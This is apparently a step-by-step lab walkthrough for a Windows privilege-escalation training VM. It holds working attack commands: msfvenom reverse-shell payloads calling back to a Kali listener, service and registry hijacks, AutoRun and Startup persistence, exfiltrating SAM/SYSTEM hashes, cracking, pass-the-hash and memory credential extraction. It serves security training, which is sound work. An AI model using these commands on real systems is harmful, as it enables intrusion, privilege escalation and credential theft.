**Generate a Reverse Shell Executable [x]**

On Kali, generate a reverse shell executable (reverse.exe) using msfvenom. Update the LHOST IP address accordingly:

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=192.168.1.3 LPORT=4444 -f exe -o reverse.exe

Transfer the reverse.exe file to the C:\PrivEsc directory on Windows. There are many ways you could do this, however the simplest is to start an SMB server on Kali in the same directory as the file, and then use the standard Windows copy command to transfer the file.

On Kali, in the same directory as reverse.exe:

sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py kali .

On Windows (update the IP address with your Kali IP):

copy \\192.168.1.3\kali\reverse.exe C:\PrivEsc\reverse.exe

Test the reverse shell by setting up a netcat listener on Kali:

sudo nc -nvlp 4444

Then run the reverse.exe executable on Windows and catch the shell:

C:\PrivEsc\reverse.exe

References:

<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation>

<https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite>

**Service Exploits - Insecure Service Permissions [x]**

Use accesschk.exe to check the "user" account's permissions on the "daclsvc" service:

accesschk64.exe -uwcv user \*

Note that the "user" account has the permission to change the service config (SERVICE\_CHANGE\_CONFIG).

Query the service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME):

sc qc daclsvc

Modify the service config and set the BINARY\_PATH\_NAME (binpath) to the reverse.exe executable you created:

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start daclsvc

**Service Exploits - Unquoted Service Path [x]**

Query the "unquotedsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME) and that the BINARY\_PATH\_NAME is unquoted and contains spaces.

sc qc unquotedsvc

Using accesschk.exe, note that the BUILTIN\Users group is allowed to write to the C:\Program Files\Unquoted Path Service\ directory:

C:\PrivEsc\accesschk64.exe /accepteula -uwd "C:\Program Files\Unquoted Path Service\"

Copy the reverse.exe executable you created to this directory and rename it Common.exe:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start unquotedsvc

**Service Exploits - Weak Registry Permissions [x]**

Query the "regsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME).

sc qc regsvc

Using accesschk.exe, note that the registry entry for the regsvc service is writable by the "NT AUTHORITY\INTERACTIVE" group (essentially all logged-on users):

C:\PrivEsc\accesschk54.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG\_EXPAND\_SZ /d C:\PrivEsc\reverse.exe /f

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start regsvc

**Service Exploits - Insecure Service Executables [x]**

Query the "filepermsvc" service and note that it runs with SYSTEM privileges (SERVICE\_START\_NAME).

sc qc filepermsvc

Using accesschk.exe, note that the service binary (BINARY\_PATH\_NAME) file is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

Copy the reverse.exe executable you created and replace the filepermservice.exe with it:

copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

net start filepermsvc

**Registry – AutoRuns [x]**

Query the registry for AutoRun executables:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Using accesschk.exe, note that one of the AutoRun executables is writable by everyone:

C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

Copy the reverse.exe executable you created and overwrite the AutoRun executable with it:

copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y

Start a listener on Kali and then restart the Windows VM. Open up a new RDP session to trigger a reverse shell running with admin privileges. You should not have to authenticate to trigger it.

rdesktop MACHINE\_IP

**Registry – AlwaysInstallElevated [x]**

Query the registry for AlwaysInstallElevated keys:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated  
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note that both keys are set to 1 (0x1).

On Kali, generate a reverse shell Windows Installer (reverse.msi) using msfvenom. Update the LHOST IP address accordingly:

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi

Transfer the reverse.msi file to the C:\PrivEsc directory on Windows (use the SMB server method from earlier).

Start a listener on Kali and then run the installer to trigger a reverse shell running with SYSTEM privileges:

msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

**Passwords – Registry**

The registry can be searched for keys and values that contain the word "password":

reg query HKLM /f password /t REG\_SZ /s

If you want to save some time, query this specific key to find admin AutoLogon credentials:

reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"

On Kali, use the winexe command to spawn a command prompt running with the admin privileges (update the password with the one you found):

winexe -U 'admin%password' //MACHINE\_IP cmd.exe

**Passwords - Saved Creds**

List any saved credentials:

cmdkey /list

Note that credentials for the "admin" user are saved. If they aren't, run the C:\PrivEsc\savecred.bat script to refresh the saved credentials.

Start a listener on Kali and run the reverse.exe executable using runas with the admin user's saved credentials:

runas /savecred /user:admin C:\PrivEsc\reverse.exe

**Passwords - Security Account Manager (SAM)**

The SAM and SYSTEM files can be used to extract user password hashes. This VM has insecurely stored backups of the SAM and SYSTEM files in the C:\Windows\Repair\ directory.

Transfer the SAM and SYSTEM files to your Kali VM:

copy C:\Windows\Repair\SAM \\10.10.10.10\kali\  
copy C:\Windows\Repair\SYSTEM \\10.10.10.10\kali\

On Kali, clone the creddump7 repository (the one on Kali is outdated and will not dump hashes correctly for Windows 10!) and use it to dump out the hashes from the SAM and SYSTEM files:

git clone https://github.com/Neohapsis/creddump7.git  
sudo apt install python-crypto  
python2 creddump7/pwdump.py SYSTEM SAM

Crack the admin NTLM hash using hashcat:

hashcat -m 1000 --force <hash> /usr/share/wordlists/rockyou.txt

You can use the cracked password to log in as the admin using winexe or RDP.

**Passwords - Passing the Hash**

Why crack a password hash when you can authenticate using the hash?

Use the full admin hash with pth-winexe to spawn a shell running as admin without needing to crack their password. Remember the full hash includes both the LM and NTLM hash, separated by a colon:

pth-winexe -U 'admin%hash' //MACHINE\_IP cmd.exe

**Scheduled Tasks**

View the contents of the C:\DevTools\CleanUp.ps1 script:

type C:\DevTools\CleanUp.ps1

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:

C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:

echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

**Insecure GUI Apps**

Start an RDP session as the "user" account:

rdesktop -u user -p password321 MACHINE\_IP

Double-click the "AdminPaint" shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:

tasklist /V | findstr mspaint.exe

In Paint, click "File" and then "Open". In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe

Press Enter to spawn a command prompt running with admin privileges.

**Startup Apps [x]**

Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:

C:\PrivEsc\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:

cscript C:\PrivEsc\CreateShortcut.vbs

Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:

rdesktop -u admin MACHINE\_IP

A shell running as admin should connect back to your listener.

**Password Mining (Memory) [x]**

Exploitation

Kali VM

1. Open command prompt and type: msfconsole

2. In Metasploit (msf > prompt) type: use auxiliary/server/capture/http\_basic

3. In Metasploit (msf > prompt) type: set uripath x

4. In Metasploit (msf > prompt) type: run

Windows VM

1. Open Internet Explorer and browse to: http://[Kali VM IP Address]/x

2. Open command prompt and type: taskmgr

3. In Windows Task Manager, right-click on the “iexplore.exe” in the “Image Name” column

and select “Create Dump File” from the popup menu.

4. Copy the generated file, iexplore.DMP, to the Kali VM.

Kali VM

1. Place ‘iexplore.DMP’ on the desktop.

2. Open command prompt and type:

strings /root/Desktop/iexplore.DMP | grep "Authorization: Basic"

3. Select the Copy the Base64 encoded string.

4. In command prompt type: echo -ne [Base64 String] | base64 -d

5. Notice the credentials in the output.